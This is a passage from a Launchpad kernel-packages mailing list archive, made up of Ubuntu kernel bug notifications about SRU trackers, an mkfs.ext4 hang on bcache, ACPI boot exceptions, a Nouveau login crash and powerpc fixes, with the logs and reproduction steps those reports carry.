Upgraded to xenial on 2016-06-03 (0 days ago) dmi.bios.date: 05/16/2016 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: C.60 dmi.board.asset.tag: Default string dmi.board.name: H170 GAMING M3 (MS-7978) dmi.board.vendor: MSI dmi.board.version: 2.0 dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: MSI dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrC.60:bd05/16/2016:svnMSI:pnMS-7978:pvr2.0:rvnMSI:rnH170GAMINGM3(MS-7978):rvr2.0:cvnMSI:ct3:cvr2.0: dmi.product.name: MS-7978 dmi.product.version: 2.0 dmi.sys.vendor: MSI To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1589008/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784299] Re: linux: 3.13.0-154.204 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-signed Status: In Progress => Fix Released ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: + kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC + kernel-stable-phase:Uploaded ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC kernel-stable-phase:Uploaded + + -- swm properties -- + phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784299 Title: linux: 3.13.0-154.204 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784300 (linux-lts-trusty) derivatives: kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC kernel-stable-phase:Uploaded -- swm properties -- phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784299/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784665] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784665 Title: mkfs.ext4 over /dev/bcache0 hangs Status in linux package in Ubuntu: Confirmed Bug description: $ cat /proc/version_signature Ubuntu 4.15.0-29.31-generic 4.15.18 $ lsb_release -rd Description: Ubuntu Cosmic Cuttlefish (development branch) Release: 18.10 $ apt-cache policy linux-image-`uname -r` linux-image-4.15.0-29-generic: Installed: 4.15.0-29.31 Candidate: 4.15.0-29.31 Version table: *** 4.15.0-29.31 500 500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages 100 /var/lib/dpkg/status 3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on top of a bcache device 4) mkfs.ext4 doesn't return and kernel prints hung process info [ 58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with allowed return codes [0] (capture=True) [ 242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 242.653767] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 242.659126] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 242.664807] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 242.670301] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 242.675414] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 363.488441] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 363.492252] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 363.496957] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 363.501156] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 363.505505] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. System has two virtio block devices. bcache was created like so: make-bcache -C /dev/vdb make-bcache -B /dev/vda2 resulting in /dev/bcache0 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 31 15:52 seq crw-rw 1 root audio 116, 33 Jul 31 15:52 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.10-0ubuntu7 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CRDA: N/A Date: Tue Jul 31 15:53:56 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-gene
[Kernel-packages] [Bug 1784300] Re: linux-lts-trusty: -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784299 + kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC + kernel-stable-phase:Packaging ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784299 - kernel-stable-phase-changed:Tuesday, 31. July 2018 16:02 UTC - kernel-stable-phase:Packaging + phase: Packaging -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-lts-trusty in Ubuntu. https://bugs.launchpad.net/bugs/1784300 Title: linux-lts-trusty: -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Invalid Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Confirmed Status in Kernel SRU Workflow prepare-package-meta series: New Status in Kernel SRU Workflow prepare-package-signed series: New Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-lts-trusty package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784299 phase: Packaging To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784300/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784665] [NEW] mkfs.ext4 over /dev/bcache0 hangs
Public bug reported: $ cat /proc/version_signature Ubuntu 4.15.0-29.31-generic 4.15.18 $ lsb_release -rd Description:Ubuntu Cosmic Cuttlefish (development branch) Release:18.10 $ apt-cache policy linux-image-`uname -r` linux-image-4.15.0-29-generic: Installed: 4.15.0-29.31 Candidate: 4.15.0-29.31 Version table: *** 4.15.0-29.31 500 500 http://archive.ubuntu.com/ubuntu cosmic/main amd64 Packages 100 /var/lib/dpkg/status 3) mkfs.ext4 /dev/bcache0 returns successful creating an ext4 filesystem on top of a bcache device 4) mkfs.ext4 doesn't return and kernel prints hung process info [ 58.018099] cloud-init[920]: Running command ['mkfs.ext4', '-F', '-L', 'root-fs', '-U', 'f01aec97-9457-11e8-b8d6-525400123401', '/dev/bcache0'] with allowed return codes [0] (capture=True) [ 242.652018] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 242.653767] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.655391] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.657397] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 242.659126] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.660980] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.663000] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 242.664807] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.666516] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.668503] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 242.670301] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.671936] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 242.673909] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 242.675414] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 242.677038] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.483998] INFO: task kworker/u4:0:5 blocked for more than 120 seconds. [ 363.488441] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.489598] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.491043] INFO: task kworker/0:2:410 blocked for more than 120 seconds. [ 363.492252] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.494085] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.495659] INFO: task bcache_allocato:2326 blocked for more than 120 seconds. [ 363.496957] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.498454] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.499866] INFO: task bcache_writebac:2345 blocked for more than 120 seconds. [ 363.501156] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.502597] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 363.504048] INFO: task mkfs.ext4:2803 blocked for more than 120 seconds. [ 363.505505] Tainted: P O 4.15.0-29-generic #31-Ubuntu [ 363.506677] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. System has two virtio block devices. bcache was created like so: make-bcache -C /dev/vdb make-bcache -B /dev/vda2 resulting in /dev/bcache0 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: User Name 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jul 31 15:52 seq crw-rw 1 root audio 116, 33 Jul 31 15:52 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.10-0ubuntu7 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CRDA: N/A Date: Tue Jul 31 15:53:56 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=LABEL=cloudimg-rootfs ro console=tty1 console=ttyS0 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware N/A RfKill: Error: [Errno 2] No such file or directory: 'rfkill': 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: 1.11.1-1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU
[Kernel-packages] [Bug 1771344] Re: Fix enabling bridge MMIO windows
** Tags removed: targetmilestone-inin---
** Tags added: targetmilestone-inin1804
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1771344
Title:
Fix enabling bridge MMIO windows
Status in The Ubuntu-power-systems project:
Fix Released
Status in linux package in Ubuntu:
Fix Released
Status in linux source package in Artful:
Fix Released
Status in linux source package in Bionic:
Fix Released
Status in linux source package in Cosmic:
Fix Released
Bug description:
== SRU Justification ==
IBM is requesting this patch in Bionic and Artful to fix a regression. The
regression was introduced in v3.11-rc1. The patch fixes enabling bridge
MMIO windows. Commit 13a83eac373c was also cc'd to upstream stable, and
has already landed in Xenial via upstream stable updates.
== Fix ==
13a83eac373c ("powerpc/eeh: Fix enabling bridge MMIO windows")
== Regression Potential ==
Low. Limited to powerpc and fixes a current regression.
== Test Case ==
A test kernel was built with this patch and tested by the original bug
reporter.
The bug reporter states the test kernel resolved the bug.
== Comment: #0 - Breno Leitao
On boot we save the configuration space of PCIe bridges. We do this so
when we get an EEH event and everything gets reset that we can restore
them.
Unfortunately we save this state before we've enabled the MMIO space
on the bridges. Hence if we have to reset the bridge when we come back
MMIO is not enabled and we end up taking an PE freeze when the driver
starts accessing again.
This patch forces the memory/MMIO and bus mastering on when restoring
bridges on EEH. Ideally we'd do this correctly by saving the
configuration space writes later, but that will have to come later in
a larger EEH rewrite. For now we have this simple fix.
The original bug can be triggered on a boston machine by doing:
echo 0x8000 >
/sys/kernel/debug/powerpc/PCI0001/err_injct_outbound
On boston, this PHB has a PCIe switch on it. Without this patch,
you'll see two EEH events, 1 expected and 1 the failure we are fixing
here. The second EEH event causes the anything under the PHB to
disappear (i.e. the i40e eth).
With this patch, only 1 EEH event occurs and devices properly recover.
This is commit id 13a83eac373c49c0a081cbcd137e79210fe78acd and should
be part of Ubuntu 18.04 kernel.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1771344/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783957] Re: Nouveau crashes at login with Kernel 4.15.0-29 on MacBook Air, so no login screen in a normal sequence
This issue appears to be an upstream bug, since you tested the latest upstream kernel. Would it be possible for you to open an upstream bug report[0]? That will allow the upstream Developers to examine the issue, and may provide a quicker resolution to the bug. Please follow the instructions on the wiki page[0]. The first step is to email the appropriate mailing list. If no response is received, then a bug may be opened on bugzilla.kernel.org. Once this bug is reported upstream, please add the tag: 'kernel-bug- reported-upstream'. [0] https://wiki.ubuntu.com/Bugs/Upstream/kernel ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged ** Also affects: linux (Ubuntu Cosmic) Importance: High Status: Triaged ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => High ** Changed in: linux (Ubuntu Bionic) Status: New => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783957 Title: Nouveau crashes at login with Kernel 4.15.0-29 on MacBook Air, so no login screen in a normal sequence Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: Triaged Status in linux source package in Cosmic: Triaged Bug description: I have a MacBook Air laptop which is running Linux (Kubuntu 16.04.5 LTS) with NVidia Graphics Card, KDE, Xorg, SDDM, and so on... Clean and natural install, no funky custom kernel or drivers or anything... Everything worked fine (with the 4.13.* kernel) until I've upgraded all my packages (which included the "wonderful" 4.15.0-29 kernel, which broke my system). Now, everytime I try to boot normally, it asks me for my disk password (I have an encrypted LVM) and after that, guess what ?: blank screen. The login screen does not appear. I can switch the Terminals with Ctrl+Alt+Fx, however. However, the same kernel, if I boot it in recovery mode and then I select "Resume", the login screen appears, but it lags a little bit... Needless to say, if I boot the older kernel (4.13), everything works perfectly. I dug up some logs and found something like "sddm-greeter" segmentation fault in nouveau_dri.so or something like this. So, it looks like the new kernel doesn't quite seem to look eye-to-eye with nouveau drivers... And no, I don't want the NVidia proprietary drivers because I get along just perfectly with Nouveau on other machines, and I don't want to reinstall nvidia drivers everytime I'm upgrading the kernel. And yes, I already have "haveged" installed, to provide sufficient entropy (I saw that the possible lack of entropy might be a problem in some cases)... If I boot in recovery mode and then select "resume", everything works. So, what is going on ? Any help would be appreciated... ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 CurrentDesktop: KDE Date: Fri Jul 27 10:40:31 2018 InstallationDate: Installed on 2018-07-04 (22 days ago) InstallationMedia: Kubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783957/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784659] Re: P9 PMU Events Update #5
** Also affects: ubuntu-power-systems Importance: Undecided Status: New ** Changed in: ubuntu-power-systems Importance: Undecided => Medium ** Changed in: ubuntu-power-systems Status: New => Triaged ** Changed in: ubuntu-power-systems Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Tags added: triage-g -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784659 Title: P9 PMU Events Update #5 Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: New Bug description: == Comment: #0 - Sukadev Bhattiprolu - 2018-03-13 18:08:25 == ---Problem Description--- There has been some updates to the P9 PMU events list (some events dropped, some events changed linux category). We need to make corresponding updates to the PMU event JSON files in the Linux perf. Submitted a pull request https://lkml.org/lkml/2018/3/13/1428 with Subject line [GIT PULL] Please pull JSON files for POWR9 PMU events Userspace tool common name: perf Userspace rpm: linux-tools The userspace tool has the following bit modes: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1784659/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784655] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784655 Title: ACPI Exception Status in linux package in Ubuntu: Confirmed Bug description: After Upgrading from 16.04.1 LTS to 18.04.1 LTS (Kernel 4.15.0-29-generic) Error during boot.. system works as aspected. 0.120887] ACPI: Added _OSI(Module Device) [0.120887] ACPI: Added _OSI(Processor Device) [0.120887] ACPI: Added _OSI(3.0 _SCP Extensions) [0.120887] ACPI: Added _OSI(Processor Aggregator Device) [0.120887] ACPI: Added _OSI(Linux-Dell-Video) [0.122431] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.122447] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122460] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122473] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.122573] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.122586] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.122598] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124013] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124110] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124123] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124136] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124148] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124242] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124255] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124268] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124283] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124376] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124389] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124401] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124414] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124509] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124522] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124535] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124547] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124640] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124655] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124668] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124681] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124773] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.124786] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124799] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124815] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124911] ACPI Exception: Could not find/resolve named package element: LNKD (20170831/dspkginit-381) [0.124924] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.124937] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.124950] ACPI Exception: Could not find/resolve named package element: LNKC (20170831/dspkginit-381) [0.125046] ACPI Exception: Could not find/resolve named package element: LNKA (20170831/dspkginit-381) [0.125059] ACPI Exception: Could not find/resolve named package element: LNKB (20170831/dspkginit-381) [0.125072] ACPI Exception: Could not find/resolve named package
[Kernel-packages] [Bug 1784659] [NEW] P9 PMU Events Update #5
Public bug reported: == Comment: #0 - Sukadev Bhattiprolu - 2018-03-13 18:08:25 == ---Problem Description--- There has been some updates to the P9 PMU events list (some events dropped, some events changed linux category). We need to make corresponding updates to the PMU event JSON files in the Linux perf. Submitted a pull request https://lkml.org/lkml/2018/3/13/1428 with Subject line [GIT PULL] Please pull JSON files for POWR9 PMU events Userspace tool common name: perf Userspace rpm: linux-tools The userspace tool has the following bit modes: 64-bit ** Affects: ubuntu-power-systems Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: Triaged ** Affects: linux (Ubuntu) Importance: Undecided Assignee: Ubuntu on IBM Power Systems Bug Triage (ubuntu-power-triage) Status: New ** Tags: architecture-ppc64le bugnameltc-165681 severity-medium targetmilestone-inin--- triage-g ** Tags added: architecture-ppc64le bugnameltc-165681 severity-medium targetmilestone-inin--- ** Changed in: ubuntu Assignee: (unassigned) => Ubuntu on IBM Power Systems Bug Triage (ubuntu-power-triage) ** Package changed: ubuntu => linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784659 Title: P9 PMU Events Update #5 Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: New Bug description: == Comment: #0 - Sukadev Bhattiprolu - 2018-03-13 18:08:25 == ---Problem Description--- There has been some updates to the P9 PMU events list (some events dropped, some events changed linux category). We need to make corresponding updates to the PMU event JSON files in the Linux perf. Submitted a pull request https://lkml.org/lkml/2018/3/13/1428 with Subject line [GIT PULL] Please pull JSON files for POWR9 PMU events Userspace tool common name: perf Userspace rpm: linux-tools The userspace tool has the following bit modes: 64-bit To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1784659/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1777646] Re: bcmwl 6.30.223.271+bdcom-0ubuntu1~1.2 ADT test failure with linux-hwe-edge 4.15.0-23.25~16.04.1
/me hugs apw -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1777646 Title: bcmwl 6.30.223.271+bdcom-0ubuntu1~1.2 ADT test failure with linux-hwe- edge 4.15.0-23.25~16.04.1 Status in bcmwl package in Ubuntu: Invalid Status in bcmwl source package in Xenial: Fix Released Bug description: [Impact] Currently the DKMS package fails to install on supported custom kernels that are based on 4.15. That includes the current 4.15 hwe-edge and some of the custom and cloud kernels as well. [Test Case] Install the broadcom-sta package with the 4.15 hwe-edge kernel. The package installation should proceed without any errors. [Regression Potential] Although new patches were added, the regression risk is very low since the new changes are conditionally compiled based on the kernel version. Besides that, the new package was tested with the following kernels in an amd64 environment: - linux-generic 4.4 - linux-hwe 4.13 - linux-hwe-edge 4.15 - linux-azure 4.15 [Original Description] Testing failed on: amd64: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-xenial/xenial/amd64/b/bcmwl/20180528_193622_1abd6@/log.gz i386: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-xenial/xenial/i386/b/bcmwl/20180528_193842_1abd6@/log.gz To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1777646/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
** Changed in: linux (Ubuntu Trusty)
Status: In Progress => Fix Committed
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
